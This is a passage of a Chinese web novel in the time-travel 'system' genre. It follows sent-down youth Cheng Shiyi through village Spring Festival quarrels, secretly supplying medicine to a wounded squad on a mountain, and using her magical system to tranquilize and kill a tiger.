不等她说完，程十一直接打断：“所以才要一清早就和大家说清楚，否则大过年的真要被我打伤砍伤了，对谁都不好。” “呃……” 蔡桂琴的话一下子就说不下去了。 此时此刻，被程十一的那句“砍伤”提醒了下，蔡桂琴也想起了当初听大家伙说的，小程知青骑着自行车，挥舞着菜刀不让人靠近的事。 这大过年的，不是，就算不是过年，那也不能真让人挥舞着菜刀赶人啊！ 万一真的伤了人，那事情可就大了去了。 顾草根深吸一口气，这种时候还得他来。 程十一看他这样子就知道是要强出头，不待对方开口就直接开怼：“大队长，你是不是真觉得我不会砍人？要不明天一早你就安排人去我家试试？话先说好了，我家里可就住了我一个小姑娘，真要有人去，无论是男的还是女的，我都可以认为对方是要对我图谋不轨，就算我不小心把人砍死砍残了，警方那边也只会认定我是正当防卫，最多算是防卫过当。” 这下轮到顾草根张着嘴说不出话来了。 程十一的目的已经达到，一口气将糖水喝完，又将搪瓷盆里的那二十来个丸子倒在碗里。 碗挺大的，倒是勉强装得下这些丸子。 做好这些，程十一拿着盆就离开了顾草根家。 等到人都出了大门有一会儿了，顾草根这才长长的叹了口气：“这丫头有能耐是真有能耐，但这脾气也是真的大。” 蔡桂琴则是骂道：“那些个老娘们真是占便宜没够了，不念着人家小同志的好就算了，还抢人家的吃的，真的是，真的是！” 一时间，蔡桂琴被气得话都说不全乎了。 顾草根也是一拍桌子：“你现在就带着儿媳妇儿出去走动走动，看看今天到底都谁家去了人家知青家里占便宜。我去找老钱他们，工分的事也得尽快落实了。” 两口子对视一眼，愤怒，也无奈。 程十一才不管那么多，反正她是不可能让自己吃亏的。 也不知道大队长是什么时候和社员们说的，反正从第二天开始，程十一家就又恢复了安静。 一转眼时间就来到了腊月二十九。 年货已经准备齐全了，关于年夜饭的菜单，四个饭搭子也商议妥当。 本来是想着四个人在一起吃的。 后来一研究，最后决定还是带上那七位老人一起。 吃饭的地点就定在了耿二牛的房子。 炕上摆着两张炕桌拼成的一张桌子，炕下则是同样摆着两张桌子拼成的长桌。 身子骨不好的老人在炕上，身子骨好一些的就和四个饭搭子一起在地上。 做饭的地点也从程十一家搬到了祝成才家的厨房。 这样走动的路程少一些，免得饭菜凉得快。 二十九这天，两个小姑娘早早的就洗漱好躺下了。 明天可是要忙活一天呢，今天必须得休息好 谁知俩人刚躺下没多会儿，就听见了有人在拍大门。 “这么晚谁还会过来啊？” 陈丽娇说着就坐起来，扯过盖在被子上的棉袄就往身上穿。 程十一也坐了起来，同样穿棉袄。 外面的天都黑透了，她可不放心让陈丽娇一个人去开大门。 两个人前后脚出了屋，程十一问了一声，就听见外面响起一个女人的声音。 听那声音还有点耳熟，可一时间的又想不起来到底是谁。 “程知青，陈知青是在你家吗？我看她的院子大门上了锁。” 程十一没听出来来人是谁，但陈丽娇却一下子就听出来了，低声对程十一说道：“是刘英华，女知青点的负责人。” 原来是她啊！ 程十一也想起来了，便道：“对，她在我家，你找她有什么事？” 刘英华没有听见陈丽娇和程十一低声介绍自己，只自顾自的说道：“是这样，明天不是年三十吗，咱们知青点决定一起过年，我和欧点长一起过来找你们说一下，明天晚晚饭，你们四个就别做了，和咱们一起吃。” 这话听着奇奇怪怪的，不像是来询问意见，反而像是来发通知。 程十一皱眉，直接怼了回去：“不去，我们四个自己过。” “小程知青你怎么能这样？咱们知青是一个团体，你怎么能一而再再而三的搞特殊，搞分，裂？你这样不利于我们知青点的团结知不知道？” 光是听这语气都能想象出刘英华此时的抓狂。 程十一已经来到大门口，同时手里还提着烧火棍。 开了大门，看到外面站着的两个人，穿得都不算少，但依旧冻得不轻。 见人终于打开大门了，刘英华明显的松了口气，上前一步，一副要进大门的样子，却被程十一直接挡在了大门外。 “你要干啥？” 程十一用烧火棍指着刘英华：“大晚上的要往我家里冲，不会是想来抢东西的吧？” “我没有！” 刘英华大声反驳：“你少血口喷人！” “呵呵，是吗？既然不是来抢东西的，那你可以走了，别站在我家大门外，我家可不需要看门的。” 程十一后退一步就要关大门。 第219章 外面有人在等你 这话就差点没直接骂刘英华是看门狗了。 刘英华气得直接就伸手要推开门，可她的力气还真没有程十一大，直接被拍回去不说，还震得两条胳膊生疼。 “啊！我的胳膊，我的胳膊！” 刘英华尖叫着往后倒。 欧和平就在她身后，下意识的伸手将人扶住。 大门关上，发出嘭的一声响。 院子里，陈丽娇皱眉：“十一，这人是不是有毛病？咱们都说了不去一起过年了，她咋就跟听不懂人话似的呢？” “她那不是听不懂人话。” 程十一的声音不仅没有降低，还拔高了几分：“她是盼着咱们能带点肉啊鱼啊什么的去添个菜，这样他们就能吃到好吃的了。” “啊？还能这样？” 陈丽娇震惊脸。 程十一嗤笑一声：“那必须能啊！如果不是这样，那怎么解释他们为什么非要死赖着不走，非要叫着咱们一起去过年？从下乡到现在，咱们，尤其是我和他们说过几句话？这样的关系还能说是团结，说他们是睁着眼睛说瞎话都算是夸奖他们了。” 大门外，刘英华的哭嚎声戛然而止，欧和平的脸黑得不行，松开刘英华，狠狠的瞪了她一眼，骂了一句：“早就说了不要来不要来，你非要过来，闹了这么个没脸，你高兴了？” 说完转身就走。 他是真不打算来的，毕竟双方平日里都没什么交集，突然就邀请一起吃年夜饭，主要是这些人还惦记着人家四个知青能带来鱼肉的好菜，这话一听就不是那么个事。 欧和平自问自己不算个绝对的好人，但这么明目张胆的龌龊手段，他是真做不出来。 刘英华傻眼了。 咋就变成这样了呢？ 看看欧和平离开的背影，又看看程十一家紧闭的大门，最后她只能恨恨的跺了跺脚，转身去追欧和平的脚步。 转眼就到了年三十这一天。 一大早上，陈丽娇和程十一就忙活起来了。 两位男同志也没闲着。 先是将今天要用到的食材和调料全都搬过去，早饭就是简单的吃了一口。 一锅玉米面糊糊，热的之前冻起来的酸菜肉的包子。 每个人都吃得饱。 吃过饭，程十一和陈丽娇就在厨房里忙活，择菜洗菜备菜。 不仅是她们俩，两位老太太也过来了。 虽说她们的身子骨不可能一下子养好，但坐在灶眼前面，一边烤火，一边摘摘菜还是没问题的。 两位男知青则是将三个院子周围全都清理了下，院子里也都简单的归置归置。 其实也没什么可归置的，平日里他们四个就已经习惯了顺手将乱的东西摆好，如今也只是走个过场。 再将要用到的柴搬到屋里去。 做好这些，就是打水、烧水，将昨天晚上换下来的贴身衣服全都洗干净。 不仅仅是他们两个的，还有那五位老头儿的。 至于陈丽娇和程十一，以及两位老太太的衣服，则是她们自己分别清洗干净，早就晾在隔壁两个院子的屋里了。 中午这顿饭便不再吃了，直接到下午两三点钟再开餐。 大部分的食材都是程十一提供，按照人头计算，程十一和陈丽娇只要负责各自的那份就好。 至于那七位老人的饭钱，则是由耿二牛和祝成才平分。 对于这样的安排，程十一和陈丽娇完全没意见。 随着厨房里忙活得热火朝天，那香味儿就一直没断的往外飘。 像是炖鱼、炖肉、炖排骨这样的大菜是用另外三个厨房炖着的。 至于其他的菜就是在祝成才的厨房完成了。 随着一道道菜端上桌，过年的味道越发浓郁。 大队的其他人家有没有贴对联，程十一不清楚，反正他们四个人的院子是贴了的。 红纸和笔墨都是她提供的，写字的人则是那五位老人。 他们都写了一手的好字，唯独对联上的内容颇有些讲究。 不能提那些会引起争议的言论。 红底黑字，可那黑字的内容却是越看越红的那种。 但不能否认的是，贴上了对联后，那年味儿一下子就出来了。 下午两点五十二，饭菜全都上桌。 因为程十一是食材的主要提供者，她自然而然的就成为了那个最亮眼的存在。 由她端着一杯橘子汽水带头，其他人纷纷端起各自的酒或者饮料，在一阵“干杯”中，一年当中最丰盛的一顿饭开启了。 吃过饭，两位男知青直接接手所有的清理工作，程十一和陈丽娇，以及两位老太太回了各自的屋子休息，等着晚上再一起包饺子。 晚上的饺子，这里的大部分人家都是选择了酸菜馅，条件好些的，就多放点肉，条件太差的，那就是纯酸菜。 程十一是很喜欢猪肉酸菜的饺子，但在年三十这天，她还是更喜欢吃点韭菜肉的。 所以，她提供了韭菜。 不算特别新鲜，但在这数九寒天中也是顶顶稀奇的玩意儿。 晚上的这顿饺子，大家一起包。 一边包，一边听一个老爷子讲故事。 他之前是做教育工作的，研究方向应该是古代文学方面，所以讲起古代的故事，那真是信手拈来。 这也就是这一屋子的人都是他信得过的，否则是真不可能开这个口。 没有春晚，也没有联欢会，但这样简简单单的聚在一起，讲讲故事，包包饺子，平平淡淡的感觉反而让程十一更加的踏实舒心。 七位老人的身子骨到底是没养好，也不可能真的熬上一个通宵。 饺子包好就下锅煮了。 等吃过饺子，时间也还没到十点。 收拾好碗筷，大家便各自梳洗休息。 这个年三十儿就这样过去了。 大年初一。 程十一是被系统的尖叫声吵醒的。 睁开眼，屋里黑漆漆，窗帘遮光，也不知道是天亮了还是没亮。 系统：主人主人，你快点起来啊！院子外面有人在等你，他都转了十几个圈了！ 有人？ 等我？ 程十一眨眨眼，精神瞬间清醒，噌的一下坐起来。 也亏了她和陈丽娇之间放着炕桌，要不然就这样的起床动作非得惊动到对方不可。 第220章 最终新任务？ 套上衣服，趿拉着鞋，程十一尽量放轻自己的脚步出了屋子。 到了厨房，才发现窗外的天色微微亮，看一眼时间，四点多。 这么早会是谁来找自己啊？ 将袄子穿好，程十一这才开门出去。 随着房门打开，就听见院子外面有人低低的喊了一声：“是小程知青吗？” 顾青？ 声音有点耳熟，好像是顾青，但又好像不太像。 程十一来到大门口。 对方听着脚步声也绕到了大门口。 随着大门打开，程十一看到了一个颇为狼狈的男人。 身上的衣服瞧着就是顾青之前带东西离开时的装扮，但……衣服有明显的破损，而且身上还有淡淡的血腥味。 程十一拧眉：“顾同志，你这是上山当草寇了？” 顾青本来看到程十一时很惊喜的表情瞬间一僵，一时间竟然不知道是该先反驳还是该先生气。 程十一也不过是随口一吐槽，转眼又问：“这么一大早你来我家干啥？” 顾青深吸一口气，左右看了看，这才低声问：“你能弄到药品吗？消炎药、止血药、绷带，以及退烧药这些药物。” 这一番询问直接把程十一气笑了，指着自己的鼻子对顾青说道：“你看我像个人还是像别的什么动物？” “什么意思？” 顾青茫然。 程十一没好气的翻了个白眼：“我想看看你是不是把我当成许愿池里的王八了！” 顾青：…… 他真不是这个意思，但细想想，好像这话又有那么一点点道理。 只是…… “小程知青，我现在真的很需要这些药品，希望你能帮帮忙，这，这……” 顾青不知道该怎么说下去。 有些事情牵扯到了机密任务，他不能说。 但如果不解释清楚，又怎么能让对方点头帮自己？ 程十一皱眉：“顾同志，如果只是一些吃的用的，我弄来也就弄来了，就算有人追查，我还能说是和大家交换来的。可你看看你刚刚点的那些都是什么？各种药品，别说是我了，就算你去找医院里的大夫，人家怕是都不敢一下子给你弄出这么多种类的药吧！” 顾青紧了紧拳头，似乎在做某种决定，两个呼吸过后，他沉声道：“小程同志，我以我的人格保证，我一定不会出卖你，只求你能再帮我一次。无论你要多少钱，多少票，我一定会拼尽全力做到！” 不能说，还是不能说。 程十一却有些烦了：“我不缺这些，再说了，给我那么多的钱和票我也用不完，没必要浪费。好了，我这里住的都是女孩子，你一个男人在这里站着不合适。” 说完，程十一就要关门。 可门还没等关上，就被一阵大力阻止。 程十一正要怼过去，就对上了一双赤红带着水光的眼睛。 顾青的声音中甚至都带出了几分哽咽：“小程同志，我，求求你，帮我，我，我真的很需要那些药，是救命用的，拜，拜托了。” 说完，顾青对着程十一就是深深的一鞠躬。 那通红的眼睛，那闪烁的泪光，那哽咽的语调，这些混在一起，让程十一的心突然就是一痛。 想到之前弄到的那些棉花，想到这人偷偷送上山的举动，程十一意识到山上的那些人受伤了，而且很严重，并且还不能直接送去医院救治。 可真要出手，自己势必会招惹上麻烦。 就在此时，系统突然出声。 系统：“最新任务发布：救人一命胜造七级浮屠，救二十人性命……” “你闭嘴！” 程十一直接在心里呵斥了系统。 这话一听就是让她答应顾青的请求。 但，凭什么？ 系统虽然被打断，但也不生气，反而还察觉到了程十一的情绪波动，当即说道：“主人主人，你消消气哈！你也知道的，咱们的任务那都不是强制完成，你不想做就不做，没关系没关系。” 不待程十一做出反应，系统又幽幽的叹了口气，自言自语似的说道：“就是可惜了，这次任务完成后就不会再有其他任务出现，所有的剧情只要主人想知道，都会自动展现出来呢！” 程十一：…… 她就知道这是一个坑！专门为自己挖的坑！ 坑就摆在面前，甚至一点遮掩都没有，自己只要绕路就能绕过去，但…… 坑里面摆着的东西有点吸引人啊！ 程十一沉默了好一会儿都没反应，这让顾青的心里更加焦灼，直起身看向程十一，正想着如果这条路实在走不动，那自己就赶紧去找人帮忙。 不管怎么样，他都得弄到药品将人救回来，否则不仅战友的命会没，这次的任务也会受到影响，很有可能之前所做的一切准备全部都会付诸东流。 就在此时，程十一终于开口了：“我可以帮你弄到药品，但，我需要跟着你一起上山。” 这是程十一的决定。 药她能提供，但到底是什么样的情况需要什么样的药，这还得她亲自去看才知道。 总不能准备一大堆药，万一没一个对症的，或者准备不充分，到时候药出了，人没救回来，岂不是浪费了？ 这个坑，她跳了，但既然跳了，就不能只是简单的卖个药。 要救就要救到底。 要不然不算她完成任务了咋办？ 只是这一次，顾青沉默了。 这不符合规定。 “小程同志，我们……” “别说那么多没用的，要么让我和你们一起，要么，我今天就当你没来找过我。” 程十一冷着一张小脸儿，摆明了不肯让步的态度。 顾青的拳头紧了又紧。 他倒是没想打人，就是单纯的纠结。 规定，任务，这两者让他没有办法那么轻易的做出让步。 程十一感觉冷了，就道：“行了，你自己琢磨吧！我要回屋去了。” 说着就要关上大门。 大门再次被人撑住。 “我带着你，可以，但是会很危险，如果出事了，我没有办法确保你一定能够安全。” 顾青的声音传来：“而且，我们这是保密任务，保密等级很高，你一旦知晓，除非任务能够彻底完成，否则你将永远无法脱离出来。你确定还要跟着一起吗？” 第221章 我要上山看看 程十一听得眉心直跳。 第一个感觉就是想要退缩，她想完成任务，但并不想把自己的小命交代进去。 但第二个感觉就是这人在晃悠自己，或者说他是在危言耸听。 “我还是不去了，晚上天黑后你来我家，我把你需要的东西准备好。” 程十一果断选择退缩，并且一点都不觉得这样有什么不对的。 顾青一怔，他还以为这个小同志会义无反顾的选择跟着自己一起。 不过这样也好。 说是下午，实际上程十一从公社回来时还没到中午十一点。 她刚到家，系统就开始吱哇乱叫，说是顾青又来了。 这么快？ 程十一眉心一跳。 要不是这一路上都有系统帮忙监控四周环境，确定没有人跟着自己，她都要怀疑顾青一直在跟踪自己了。 不过人来了也好，真要等一下午，她也怕这一下午的时间里会死几个人。 按照顾青说的，程十一准备了他所需要的药品，并且还另外多准备了些其他的药，以及这个时代才有的方便面。 口味肯定是不能和后世那么丰富的口味相比，但在当下却也是难得的美味。 顾青直接给了程十一一个存折，上面存了一千二百多块钱。 这个时代的存折可没有密码那一说，所以顾青的这一操作等于是将自己所有的存款全都交给了程十一。 也许不是所有，但一千二，在当下这个时代已经算是很大一笔钱了。 一手交货，一手收存折，程十一转身回家，而顾青则是像是拉棉衣那次绕着远去了山里。 程十一在心里问系统：“统啊，这样应该算我完成任务了吧？” 系统不说话，只是一味的沉默。 这算什么完成任务啊，太扯了。 程十一没等到回答，心里也有了数。 算了，不算完成就不算完成吧！ 和安全、自由相比，任务什么的真的算不上什么。 想是这么想的，可当初三一早，自家大门被顾草根拍响后，程十一就没办法淡定下去了。 顾草根：“十一丫头，你们昨天晚上有没有听到什么声音？” 看着大队长那一脸的焦急紧张，程十一还有点懵：“什么什么声音？昨天晚上发生什么大事了吗？” 顾草根朝着隔壁看了一眼，低声道：“今天一早，耿知青跑我家说，他家里的人昨天半夜似乎听到了木仓的声音。” “啊？” 程十一震惊脸：“不能吧！” 下意识的就想说肯定是听错了，但话到嘴边又被她生生止住，转念用意识询问系统：“统统，昨天晚上有没有发生什么特殊的事情？” 系统：“检测范围内并没有什么异常，但确实有老人在后半夜惊醒，甚至还相互抱团坐到了天亮。” “抱团？你的意思是他们好几个人都听见了？” 程十一敏锐的抓到了话语中的重点。 系统昂了声，算是回答。 程十一有点想抓头发。 一个人，还能当成是听错了，但如果是好几个人听见，那真是…… “大队长，我晚上睡得沉，没听见什么声音。” 程十一压下心里的烦躁，问顾草根：“所以现在是要怎么办？” 此时的顾草根那眉毛都快能拧成麻花了，眉心的皱纹更是恨不能夹死蚊子：“山上很有可能出事了，你们这里距离山太近了，最好是搬到知青点住，那里人多，相互也能帮衬到。” “那不用，我们关好门窗不出去就是。” 程十一赶紧拒绝顾草根的提议。 开玩笑，真要去住知青点，万一真遇到危险，那些人还帮衬？不说把他们推出来挡灾就不错了。 更何况他们这里还有七位老人在，难不成要让那七个老头儿老太太守着这里吗？ 别说程十一做不出来这种事，就算是耿二牛和祝成才都不带同意的。 顾草根终于忍不住，将手伸进帽子里抓了抓头发：“那你们一定别出门，我马上安排人巡逻。” 说完，顾草根转身就走。 程十一也将大门关上。 回到屋里，发现陈丽娇已经起来了，正在往灶里添柴。 “谁来了？” 陈丽娇一边打着哈欠一边问。 这种事自然是不能瞒着，程十一将顾草根刚刚提的事说了，也提到了去知青点，但陈丽娇却和程十一一样，不选择离开。 “真要有危险，就算是在知青点也不见得安全。再说了，咱们走了，老太太她们咋办？” 陈丽娇摇头。 程十一嗯了声，又道：“娇娇姐，你今天去隔壁院子睡。” “啊？那你呢？” 陈丽娇一下子就听出了程十一不打算一起的意思。 程十一朝着厨房的北窗看去。 隔着塑料布看得并不真切，但她却依旧盯着那扇窗户：“我去山上看看。” 她有种直觉，如果她不上山上看看，很有可能会真的发生什么不可挽回的大事。 这下已经不再是单纯的完不完得成任务了。 陈丽娇一听就炸了，蹭的一下跳了起来：“不行不行！听大队长那话的意思山上特别危险，你现在上山，那不是奔着危险去的吗？不行不行！” 陈丽娇又是摇头又是摆手，浑身上下的每一个细胞都在表达她的不赞同。 “听话，我就是去看看，最晚明天天黑之前肯定回来。” 其实程十一自己也不知道这一去需要多少时间，但话得这么说。 陈丽娇依旧不同意，但她也拗不过程十一，最后只能是各种担心叮嘱的目送她离开，又将程十一家的门窗关好，火也都熄了，这才回了自己院子。 对于程十一离开这件事，除了陈丽娇外谁都不知道，哪怕是其他人问起了，陈丽娇也只说程十一是去公社了。 程十一经常去公社和县里，大家早已见怪不怪。 而离开家后的程十一则是在躲开了巡逻的人后，一路朝着山上赶去。 她走的这条路线就是顾青上山的那条路，这几天没下雪，但有风，留下来的印迹很快就会被吹落的雪花覆盖。 这个时候就体现出了系统的便利之处，在系统的指引下，程十一几乎没走过什么冤枉路，但就算这样，在她找到顾青时，时间也还是过去了将近四个小时。 第222章 山里遇虎 如果不是有系统帮忙，程十一觉得就算累死自己也绝对不可能找到顾青一行人。 他们藏身在一个山洞里，山洞很隐蔽，隐蔽到程十一都走到跟前了都没发现有什么不对劲的。 但系统坚定的表示他们就在这里，程十一这才试探的小声呼喊了两声。 山洞里面或躺或坐着二十一个人，距离山洞最近的正是顾青。 不过此时的顾青更加狼狈。 棉袄上面已经出现了一块块的硬结，人靠在山洞旁边的石壁上，那些硬结就支楞巴翘的支着，半点都没有棉衣应该有的柔顺感。 乍一听见外面的声音，顾青还以为是自己发烧烧出幻听了，否则怎么可能会听见那个小丫头的声音。 可当那呼唤声再次响起，顾青就知道不是自己幻听了。 那个小丫头竟然真的找到这里来了！ 顾青的心里一个咯噔，一时间竟然不知道是该高兴还是该有别的什么情绪。 她，是怎么找到这里来的？有没有带来什么人？带来的人又是哪一方的？ 一瞬间，顾青的思绪翻腾，但身体已经做出了反应。 咬着牙爬起来，将耳朵凑到洞口的石头上倾听。 现在他们二十一个人已经全部受伤，甚至有几个战友已经生死未知，他们已经没有能力再进行大规模的反扑，所以他不能，也不敢轻易打开山洞放人进来。 程十一唤了两声也没听见个回应，就询问起系统来，结果从系统那里得知了自己和顾青的直线距离不超过两米，并且对方还是清醒状态，并没有昏迷。 还不仅是这样，顾青甚至已经知道了自己的到来，却依旧不肯露面。 程十一直接被气笑了，没好气的对着顾青所在的方向压低声音说道：“顾青，老娘爬了好几个小时的山上来找你们，既然你们不露面，行，那老娘就不管你们了，你们爱死不死！” 说完，程十一转身就要走人。 此时，一侧的山林里突然有了声音，吓得程十一往另外一旁挪了两步，警惕的看向林子方向。 按照系统说的，顾青不应该是在林子里啊！ 系统突然嗷嗷大叫起来：主人主人，不好了不好了！山洞里的那些人散发出来的血腥气吸引来了大家伙！嗷嗷嗷，主人，你快跑啊！ 程十一心里一个咯噔。 她是怎么都没想到自己竟然还会有这样的“意外收获”。 可是跑？怎么跑？跑哪里去？除非自己躲进系统仓库，否则自己怎么可能在这样的环境里跑得过大家伙？ “具体是什么？” 程十一努力稳住心神。 她好歹也是混过末世的人了，末世里的动物也都很可怕的，她也不是没和大动物搏斗过，虽然不是单打独斗，但也算得上是有经验啊！ 系统：是老虎。 程十一双眼瞪得溜圆。 好家伙，开局就要这么刺激的吗？ 深吸一口气，任由冰冷的空气顺着气管一路进入胸腔，程十一努力让自己冷静下来，快步来到山洞前的石头外面说道：“有大动物过来了，我将东西引走，你们先不要出来。” 说完，也不等山洞里的人有所反应，程十一就赶紧朝着另外一侧的林子跑去。 一边跑，还一边从商城里购买了血袋。 将血袋扯开一个角，任由里面的血浆散落，在雪白的积雪中留下星星点点的红色。 这样的新鲜血液对于老虎来说更有吸引力，果然就听见身后的林子里传出一阵虎啸。 程十一感觉自己的心脏都提到嗓子眼儿了，但又不能现在就躲进系统空间，而是继续往前跑。 说是跑，其实也就算得上是比走稍微强那么一点，也就是一点点，因为积雪太厚了，不利于赶路。 前后都没用上几分钟时间，程十一一回头，就看到了距离自己不到二十米的林子里有老虎那特有的皮毛闪现。 妈耶，真刺激！ 仗着自己有系统仓库在，紧张归紧张，害怕归害怕，但程十一的心里其实还是非常兴奋的。 老虎啊！这可是老虎啊！ 这玩意儿再过几年可就是保护动物了，趁着现在能弄点新鲜的虎肉虎骨啥的，简直不要太完美！ 血袋已经空了，程十一赶紧将袋子收起来，手里多了一支麻醉剂。 除了这支外，仓库里还有不少，全都是专门为了这老虎准备的。 直接砍杀，那不现实。 用热武器，动静又太大，所以，麻醉剂这玩意儿就刚刚好。 随着系统说了句“发射”，程十一抬手朝着老虎的方向就开始射击麻醉剂。 第一支，落空。 没关系，立刻上第二支。 此时的老虎也明白了眼前的人类要攻击自己，当即发出了虎啸，硕大的身躯朝着程十一就扑了过来。 程十一能够明显感觉自己的后脊梁骨都是汗，但她还是咬着牙坚持着。 再次射一支麻醉剂出去。 这次擦着老虎的前腿飞了出去。 又空了。 没关系，再来！ 但老虎已经腾空而起，程十一立刻躲进系统仓库，利用系统监控老虎的行踪。 确定离开了自己进出的地点，程十一再次出现，趁着老虎不备，将第三支麻醉剂直接扎在了老虎的腚上。 “嗷呜！” 老虎一声大叫，那声音恨不能震破程十一的耳膜。 程十一已经在扎针成功后的第一时间躲了起来，确定老虎已经倒下后，她这才再次出现。 一刀割破老虎的喉咙，根本来不及处理尸体，将整只老虎收进系统仓库后，就赶紧往回走，一边走一边找回之前的两支麻醉剂。 就在将两支麻醉剂全部收起来时，突然就听见前面有脚步声，以及呼喊声。 是顾青，还有两个陌生的男人声音。 “我在这里。” 程十一赶紧回应。 很快，双方会合。 是顾青，跟着顾青一起的两个年轻人看起来很狼狈，甚至比顾青的状态还差一些。 不过三个人全都拿着武器。 看到程十一好好的出现在他们的视线中，三个人都不约而同的长舒一口气。 “老虎呢？” 顾青问：“有没有伤到你？”